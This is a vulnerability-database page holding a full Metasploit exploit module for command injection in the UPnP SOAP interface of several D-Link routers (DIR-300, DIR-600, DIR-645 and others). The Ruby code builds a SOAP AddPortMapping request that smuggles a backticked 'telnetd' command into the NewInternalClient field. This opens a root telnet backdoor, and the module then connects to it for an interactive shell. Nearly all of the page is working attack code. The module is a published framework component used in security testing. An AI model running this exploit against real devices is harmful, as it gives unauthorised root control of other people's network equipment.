Lucene search
K

D-Link Devices - UPnP SOAP TelnetD Command Execution (Metasploit)

🗓️ 17 Sep 2013 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

D-Link Routers UPnP SOAP Command Executio

Code
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'D-Link Devices UPnP SOAP Telnetd Command Execution',
      'Description' => %q{
        Various D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
        interface. This module has been tested successfully on DIR-300, DIR-600, DIR-645,
        DIR-845 and DIR-865. According to the vulnerability discoverer, more D-Link devices
        may be affected.
      },
      'Author'      =>
        [
          'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module
          'juan vazquez' # minor help with msf module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'OSVDB', '94924' ],
          [ 'BID', '61005' ],
          [ 'EDB', '26664' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
        ],
      'DisclosureDate' => 'Jul 05 2013',
      'Privileged'     => true,
      'Platform'       => 'unix',
      'Arch'        => ARCH_CMD,
      'Payload'     =>
        {
          'Compat'  => {
            'PayloadType'    => 'cmd_interact',
            'ConnectionType' => 'find',
          },
        },
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'Targets'        =>
        [
          [ 'Automatic',  { } ],
        ],
      'DefaultTarget'  => 0
      ))

    register_options(
      [
        Opt::RPORT(49152)  #port of UPnP SOAP webinterface
      ], self.class)

    register_advanced_options(
      [
        OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
        OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
      ], self.class)
  end

  def tel_timeout
    (datastore['TelnetTimeout'] || 10).to_i
  end

  def banner_timeout
    (datastore['TelnetBannerTimeout'] || 25).to_i
  end

  def exploit
    @new_portmapping_descr = rand_text_alpha(8)
    @new_external_port = rand(65535)
    @new_internal_port = rand(65535)
    telnetport = rand(65535)

    vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")

    cmd = "telnetd -p #{telnetport}"
    type = "add"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end
    type = "delete"
    res = request(cmd, type)
    if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end

    print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })

    if sock.nil?
      fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
    end

    print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
    prompt = negotiate_telnet(sock)
    if prompt.nil?
      sock.close
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
    else
      print_good("#{rhost}:#{rport} - Telnet session successfully established...")
    end

    handler(sock)
  end

  def request(cmd, type)

    uri = '/soap.cgi'

    data_cmd = "<?xml version=\"1.0\"?>"
    data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
    data_cmd << "<SOAP-ENV:Body>"

    if type == "add"
      vprint_status("#{rhost}:#{rport} - adding portmapping")

      soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"

      data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
      data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>"
      data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
      data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
      data_cmd << "<NewEnabled>1</NewEnabled>"
      data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"
      data_cmd << "<NewRemoteHost></NewRemoteHost>"
      data_cmd << "<NewProtocol>TCP</NewProtocol>"
      data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"
      data_cmd << "</m:AddPortMapping>"
    else
      #we should clean it up ... otherwise we are not able to exploit it multiple times
      vprint_status("#{rhost}:#{rport} - deleting portmapping")
      soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"

      data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
      data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
      data_cmd << "</m:DeletePortMapping>"
    end

    data_cmd << "</SOAP-ENV:Body>"
    data_cmd << "</SOAP-ENV:Envelope>"

    begin
      res = send_request_cgi({
        'uri'    => uri,
        'vars_get' => {
          'service' => 'WANIPConn1'
        },
        'ctype' => "text/xml",
        'method' => 'POST',
        'headers' => {
          'SOAPAction' => soapaction,
          },
        'data' => data_cmd
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
    end
  end

  def negotiate_telnet(sock)
    begin
      Timeout.timeout(banner_timeout) do
        while(true)
          data = sock.get_once(-1, tel_timeout)
          return nil if not data or data.length == 0
          if data =~ /\x23\x20$/
            return true
          end
        end
      end
    rescue ::Timeout::Error
      return nil
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Sep 2013 00:00Current
7.4High risk
Vulners AI Score7.4
37